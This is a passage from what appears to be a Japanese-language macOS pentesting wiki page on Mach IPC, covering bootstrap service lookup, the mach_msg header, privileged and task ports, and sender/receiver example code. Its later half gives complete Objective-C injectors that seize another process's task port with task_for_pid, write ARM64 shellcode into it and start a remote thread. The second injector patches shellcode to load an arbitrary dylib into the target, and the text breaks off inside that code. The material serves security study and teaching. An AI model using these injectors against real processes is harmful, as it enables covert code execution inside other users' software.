4. タスク**B**は**ブートストラップサーバー**と対話し、サービス名のブートストラップ**ルックアップ**を実行します。成功すると、**サーバーはタスクAから受け取った送信権限を複製し、タスクBに**送信します。
|
||||
5. 送信権限を取得したタスク**B**は、**メッセージを作成**し、**タスクAに送信**することができます。
|
||||
6. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクAに与えて**タスクBにメッセージを送信できるようにします(双方向通信)。
|
||||
|
||||
ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**なりすます**可能性があることを意味し、偽の**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
|
||||
|
||||
その後、Appleは**システム提供サービスの名前**を、**SIP保護された**ディレクトリにある安全な構成ファイルに保存します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
|
||||
|
||||
これらの事前定義されたサービスに対して、**ルックアッププロセスはわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります:
|
||||
|
||||
- タスク**B**がサービス名のブートストラップ**ルックアップ**を開始します。
|
||||
- **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。
|
||||
- タスク**A**(サービス)は**ブートストラップチェックイン**を行います。ここで、**ブートストラップ**サーバーは送信権限を作成し、それを保持し、**受信権限をタスクAに転送します**。
|
||||
- launchdは**送信権限を複製し、タスクBに送信します**。
|
||||
- タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクA**(svc)に与えて、タスクBにメッセージを送信できるようにします(双方向通信)。
|
||||
|
||||
ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明のように動作し続け、なりすましを許す可能性があります。
|
||||
|
||||
### Machメッセージ
|
||||
|
||||
[こちらで詳細情報を見つける](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg`関数は、基本的にシステムコールであり、Machメッセージの送受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは、`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は次のように定義されています:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。
|
||||
|
||||
簡単な **双方向通信** を実現するために、プロセスはメッセージの Mach **メッセージヘッダー** に _返信ポート_ (**`msgh_local_port`**) と呼ばれる **machポート** を指定できます。ここで、メッセージの **受信者** はこのメッセージに **返信を送信** できます。**`msgh_bits`** のビットフラグは、このポートに対して **一度だけ送信する** **権利** を導出し、転送することを **示す** ために使用できます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
> [!TIP]
|
||||
> この種の双方向通信は、リプレイを期待するXPCメッセージで使用されることに注意してください (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
|
||||
|
||||
メッセージヘッダーの他のフィールドは次のとおりです:
|
||||
|
||||
- `msgh_size`: パケット全体のサイズ。
|
||||
- `msgh_remote_port`: このメッセージが送信されるポート。
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)。
|
||||
- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。
|
||||
|
||||
> [!CAUTION]
|
||||
> **machメッセージは \_machポート**\_ を介して送信され、これは **単一の受信者**、**複数の送信者** の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス** がmachポートに **メッセージを送信** できますが、いつでも **単一のプロセスのみが** そこから読み取ることができます。
|
||||
|
||||
### ポートの列挙
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
このツールは、[http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) からダウンロードしてiOSにインストールできます。
|
||||
|
||||
### コード例
|
||||
|
||||
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のための**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### 特権ポート
|
||||
|
||||
- **ホストポート**: プロセスがこのポートに対して**Send**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。
|
||||
- **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この権限を得るには**プロセスがrootである必要があります**。
|
||||
- さらに、**`kext_request`** APIを呼び出すには、Appleのバイナリにのみ与えられる他の権限**`com.apple.private.kext*`**を持っている必要があります。
|
||||
- **タスク名ポート**: _タスクポート_の特権のないバージョンです。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。
|
||||
- **タスクポート**(別名カーネルポート)**:** このポートに対してSend権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。
|
||||
- `mach_task_self()`を呼び出して、呼び出し元タスクのこのポートの**名前**を取得します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、suidバイナリ内の`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
|
||||
- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から):
|
||||
- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーの**プロセスがタスクポートにアクセスできます(通常はデバッグのためにXcodeによって追加されます)。**ノータリゼーション**プロセスは、製品リリースではこれを許可しません。
|
||||
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
|
||||
- **Rootは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**(Apple製でないもの)。
|
||||
|
||||
### タスクポート経由のスレッドへのシェルコード注入
|
||||
|
||||
シェルコードを取得できます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**前のプログラムをコンパイル**し、同じユーザーでコードを注入できるように**権限**を追加します(そうでない場合は**sudo**を使用する必要があります)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### スレッドを介したDylibインジェクション
|
||||
|
||||
macOSでは、**スレッド**は**Mach**を介して、または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。
|
||||
|
||||
**シンプルなシェルコード**を注入してコマンドを実行することが可能だったのは、**posix**準拠のAPIを使用する必要がなかったからで、Machのみで動作したためです。**より複雑なインジェクション**では、**スレッド**も**posix準拠**である必要があります。
|
||||
|
||||
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthread**が作成されます。この新しいpthreadは、**dlopen**を呼び出してシステムから**dylib**を**ロード**できるため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
|
||||
|
||||
**例のdylibs**は次の場所にあります(例えば、ログを生成し、その後リスニングできるもの):
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
